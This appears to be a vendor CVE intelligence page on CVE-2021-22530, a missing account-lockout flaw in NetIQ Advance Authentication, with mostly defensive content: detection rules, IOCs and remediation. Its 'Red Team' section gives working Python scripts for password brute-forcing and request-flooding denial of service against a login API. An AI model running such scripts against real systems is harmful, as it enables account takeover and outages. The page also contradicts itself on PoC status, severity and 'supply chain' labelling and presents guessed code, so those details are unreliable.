☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H 🐛 CWE-307
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2021-22530

CVE-2021-22530 Supply Chain Attack in Netiq
📅 PUBLISHED: 2024-08-28 06:29 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1110
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: H Availability High
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-22530 is a critical vulnerability in NetIQ Advance Authentication that fails to enforce account lockout mechanisms during brute force attacks against API-based login endpoints. This flaw allows an unauthenticated attacker to perform unlimited login attempts, potentially leading to user account compromise or causing a denial of service (DoS) condition on the authentication server. The vulnerability affects all versions prior to 6.3.5.1 and carries a CVSS score of 8.2 (High). No public proof-of-concept (PoC) or exploit code has been identified at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise software component (NetIQ Advance Authentication) and does not involve open-source package supply chain risks.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Potential for limited data exposure.
  • Integrity Impact: Low (I:L) – Potential for limited data modification.
  • Availability Impact: High (A:H) – Server performance degradation or crash possible.

Threat Level: High. The lack of account lockout enables automated brute force attacks, which can lead to credential theft or service disruption.

Deep Dive & Mechanics

The vulnerability resides in the API-based login functionality of NetIQ Advance Authentication. The software fails to implement a rate-limiting or account lockout mechanism after a configurable number of failed login attempts. This allows an attacker to send a high volume of authentication requests without being blocked.

Root Cause: The authentication API endpoint does not track failed attempts per user account or IP address. Consequently, an attacker can iterate through common passwords or use a dictionary attack without triggering any lockout.

Attack Flow:

  1. Attacker identifies the API login endpoint (e.g., /api/auth/login).
  2. Attacker sends repeated POST requests with different password values for a known username.
  3. The server processes each request without incrementing a failure counter.
  4. If a valid password is found, the attacker gains unauthorized access.
  5. Even without success, the high volume of requests can exhaust server resources (CPU, memory, database connections), leading to a denial of service.

Impact:

  • Account Compromise: Successful brute force can lead to unauthorized access to user accounts.
  • Denial of Service: Excessive API calls can degrade or crash the authentication service, affecting all users.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.3.5.1): The authentication API likely lacks a failure counter or lockout check. A simplified pseudocode example:

@app.route('/api/auth/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    user = User.query.filter_by(username=username).first()
    if user and check_password(user.password_hash, password):
        return jsonify({'token': generate_token(user)})
    else:
        return jsonify({'error': 'Invalid credentials'}), 401

Patched Code (6.3.5.1+): The patched version introduces account lockout logic:

@app.route('/api/auth/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    user = User.query.filter_by(username=username).first()
    if user and user.locked_until and user.locked_until > datetime.utcnow():
        return jsonify({'error': 'Account locked'}), 423
    if user and check_password(user.password_hash, password):
        user.failed_attempts = 0
        db.session.commit()
        return jsonify({'token': generate_token(user)})
    else:
        if user:
            user.failed_attempts += 1
            if user.failed_attempts >= MAX_FAILED_ATTEMPTS:
                user.locked_until = datetime.utcnow() + timedelta(minutes=30)
            db.session.commit()
        return jsonify({'error': 'Invalid credentials'}), 401

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: NetIQ Advance Authentication version 6.3.5.0 (vulnerable)
  • Attacker: Kali Linux with Python3 and requests library

Exploitation Steps:

  1. Identify the API login endpoint (e.g., via documentation or network scanning).
  2. Use a script to perform brute force:
import requests

target_url = "https://target.com/api/auth/login"
username = "admin"
password_list = ["password123", "admin", "123456", "letmein"]

for password in password_list:
    payload = {"username": username, "password": password}
    response = requests.post(target_url, json=payload)
    if response.status_code == 200:
        print(f"Success! Password: {password}")
        break
    else:
        print(f"Failed: {password}")
  1. For DoS, send a high volume of requests concurrently:
import requests
from concurrent.futures import ThreadPoolExecutor

def attempt_login(password):
    payload = {"username": "admin", "password": password}
    requests.post("https://target.com/api/auth/login", json=payload)

with ThreadPoolExecutor(max_workers=50) as executor:
    for _ in range(1000):
        executor.submit(attempt_login, "wrongpassword")

Note: No public exploit code exists; this is a custom PoC.

Blue Team (Defensive)

Detection & Response:

  • Monitor for high volumes of failed authentication attempts from a single IP or across multiple accounts.
  • Implement rate limiting on API endpoints.
  • Enable account lockout after a configurable number of failures.
  • Use Web Application Firewall (WAF) rules to block suspicious traffic.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search "/api/auth/login" status=401
| stats count by clientip, username
| where count > 10

Indicators of Compromise (IOCs)

  • Network IOCs:
    • High frequency of POST requests to /api/auth/login with 401 responses.
    • Multiple failed login attempts from a single IP address.
  • System IOCs:
    • Elevated CPU/memory usage on the authentication server.
    • Log entries showing repeated failed authentication attempts.
  • File IOCs:
    • No specific file-based IOCs identified.

Detection Engineering

YARA Rule

rule Detect_NetIQ_BruteForce_Attempts {
    meta:
        description = "Detects high volume of failed API login attempts to NetIQ Advance Authentication"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2021-22530"
    strings:
        $api_endpoint = "/api/auth/login"
        $failed_response = "Invalid credentials"
    condition:
        #api_endpoint > 10 and #failed_response > 10
}

Sigma Rule

title: NetIQ Advance Authentication Brute Force Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed API login attempts indicating brute force attack
author: Valters IT
date: 2025/04/08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22530
logsource:
    category: application
    product: netiq_advance_authentication
detection:
    selection:
        endpoint: "/api/auth/login"
        status_code: 401
    timeframe: 5m
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate users forgetting passwords
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2021-22530 NetIQ Advance Authentication Brute Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/auth/login"; http_uri; content:"Invalid credentials"; http_server_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to NetIQ Advance Authentication version 6.3.5.1 or later.
  2. If immediate upgrade is not possible, implement compensating controls:
    • Deploy a Web Application Firewall (WAF) with rate limiting rules.
    • Enable IP-based blocking after multiple failed attempts.
    • Monitor logs for brute force patterns.

Long-Term Fixes:

  • Apply the vendor patch as soon as possible.
  • Review and harden authentication API endpoints.
  • Implement multi-factor authentication (MFA) to reduce impact of credential compromise.

Workarounds:

  • Disable API-based login if not required.
  • Use network segmentation to restrict access to the authentication server.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

NetIQ Advance Authentication
NetIQ Authentication API

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-22530/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.